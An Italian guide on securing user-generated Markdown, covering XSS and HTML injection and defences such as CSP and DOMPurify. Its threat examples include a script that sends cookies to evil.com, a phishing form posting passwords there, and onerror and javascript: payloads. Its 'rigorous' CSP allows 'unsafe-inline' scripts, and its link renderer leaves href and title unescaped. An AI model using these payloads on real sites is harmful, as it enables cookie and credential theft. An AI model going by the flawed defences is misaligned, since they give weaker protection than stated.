Migliori pratiche di sicurezza Markdown
Sebbene Markdown sembri testo normale, una gestione impropria può portare a gravi vulnerabilità di sicurezza. Questa guida ti mostra come gestire i contenuti Markdown in modo sicuro.
Minacce alla sicurezza comuni
1. XSS (Cross-Site Scripting)
Markdown consente l'incorporamento di HTML, che può essere sfruttato per iniettare script dannosi:
markdown
<!-- Pericoloso: HTML non sanitizzato -->
<script>
// Rubare cookies
fetch('https://evil.com/steal?data=' + document.cookie);
</script>
<img src="x" onerror="alert('XSS')">
<a href="javascript:alert('XSS')">Cliccami</a>2. Injection HTML
Anche senza JavaScript, HTML dannoso può causare danni:
markdown
<!-- Attacco di phishing -->
<form action="https://evil.com/phish" method="POST">
<input type="password" name="password" placeholder="Inserisci password">
<button>Accedi</button>
</form>Strategie di difesa
1. Content Security Policy (CSP)
Implementare header CSP rigorosi:
html
<meta http-equiv="Content-Security-Policy"
content="default-src 'self';
script-src 'self' 'unsafe-inline' https://trusted-cdn.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;">2. Sanitizzazione HTML
Usare librerie di sanitizzazione dedicate:
DOMPurify (browser)
javascript
import DOMPurify from 'dompurify';
import marked from 'marked';
const dirty = marked.parse(userMarkdown);
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a', 'ul', 'ol', 'li', 'code', 'pre'],
ALLOWED_ATTR: ['href', 'title', 'class'],
FORBID_TAGS: ['script', 'style', 'iframe', 'form'],
FORBID_ATTR: ['onerror', 'onclick', 'onload']
});
document.getElementById('output').innerHTML = clean;3. Configurare parser Markdown sicuro
Configurazione sicura Marked
javascript
const marked = require('marked');
const renderer = {
html(html) {
// Bloccare HTML completamente
return '';
},
link(href, title, text) {
// Consentire solo protocolli sicuri
const safeProtocols = ['http:', 'https:', 'mailto:'];
try {
const url = new URL(href);
if (!safeProtocols.includes(url.protocol)) {
return text;
}
} catch {
return text;
}
return `<a href="${href}" title="${title || ''}" rel="noopener noreferrer" target="_blank">${text}</a>`;
}
};
marked.use({ renderer });Checklist di sicurezza
Prima del deployment
- [ ] Attivare Content Security Policy (CSP)
- [ ] Implementare sanitizzazione HTML (DOMPurify/sanitize-html)
- [ ] Disabilitare o limitare HTML grezzo
- [ ] Validare tutti gli URL e i link
- [ ] Implementare rate limiting
- [ ] Aggiungere protezione CSRF
- [ ] Validare caricamenti di file
- [ ] Implementare autenticazione e autorizzazione
- [ ] Impostare limiti di lunghezza contenuto
- [ ] Attivare HTTPS
- [ ] Configurare header HTTP sicuri
- [ ] Implementare logging e monitoraggio
- [ ] Eseguire audit di sicurezza regolari
- [ ] Mantenere le dipendenze aggiornate
Conclusione
La sicurezza di Markdown non deve essere trascurata. Implementando adeguate misure di sanitizzazione, validazione, autenticazione e monitoraggio, puoi gestire in modo sicuro i contenuti Markdown generati dagli utenti e proteggere applicazioni e utenti dagli attacchi.